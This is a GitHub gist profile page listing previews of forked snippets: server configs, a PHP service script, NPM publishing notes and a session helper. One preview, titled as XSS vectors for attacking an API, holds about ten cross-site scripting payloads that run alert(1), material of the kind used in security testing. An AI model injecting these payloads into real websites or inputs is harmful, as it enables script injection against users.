Skip to content

Instantly share code, notes, and snippets.

View kaerer's full-sized avatar
🍀
Life goes on.

Erce Erözbek kaerer

🍀
Life goes on.
View GitHub Profile
@kaerer
kaerer / myservice
Created April 12, 2019 10:49 — forked from rodrigoespinozadev/myservice
Running a PHP script as a service/daemon using `start-stop-daemon`
#! /bin/sh
# Installation
# - Move this to /etc/init.d/myservice
# - chmod +x this
#
# Starting and stopping
# - Start: `service myservice start` or `/etc/init.d/myservice start`
# - Stop: `service myservice stop` or `/etc/init.d/myservice stop`
@kaerer
kaerer / particles.html
Created April 12, 2019 15:31 — forked from u01jmg3/particles.html
Particles
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<title>Particles</title>
<style>body { background-color: #1a252f }</style>
</head>
<body>
@kaerer
kaerer / readme.md
Created April 15, 2019 09:27 — forked from JefferyHus/readme.md
How to publish packages to NPM

Getting Started with NPM (as a developer)

If you haven't already set your NPM author info, now you should:

npm set init.author.name "Your Name"
npm set init.author.email "you@example.com"
npm set init.author.url "http://yourblog.com"

npm adduser

@kaerer
kaerer / 666_lines_of_XSS_vectors.html
Created April 15, 2019 09:49 — forked from dexit/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@kaerer
kaerer / session-readonly.php
Created April 15, 2019 09:52 — forked from u01jmg3/session-readonly.php
Session locking - non-blocking read-only sessions in PHP
<?php
function session_readonly(){
if(version_compare(PHP_VERSION, '7.0.0') >= 0){
session_start(array('read_and_close' => true));
} else {
$session_name = preg_replace('/[^\da-z]/i', '', $_COOKIE[session_name()]);
$session_data = file_get_contents(session_save_path() . '/sess_' . $session_name);
$return_data = array();
$offset = 0;
@kaerer
kaerer / .htaccess
Created April 15, 2019 09:53 — forked from u01jmg3/.htaccess
Template Apache `.htaccess` file with common rewrite rules
##================================================
# Prevent directory listing.
##================================================
IndexIgnore *
##================================================
# Set Charset.
##================================================
AddDefaultCharset utf-8
@kaerer
kaerer / nginx.conf
Created December 6, 2021 11:13 — forked from v0lkan/nginx.conf
Configuring NGINX for Maximum Throughput Under High Concurrency
user web;
# One worker process per CPU core.
worker_processes 8;
# Also set
# /etc/security/limits.conf
# web soft nofile 65535
# web hard nofile 65535
# /etc/default/nginx
@kaerer
kaerer / XDG.cheat-sheet.md
Created December 12, 2024 12:22 — forked from roalcantara/XDG.cheat-sheet.md
XDG cheat sheet

XDG - Base Directory Specification

Directories

Base

The intended use-case for BaseDirectories is to query the paths of user-invisible standard directories that have been defined according to the conventions of the operating system the library is running on.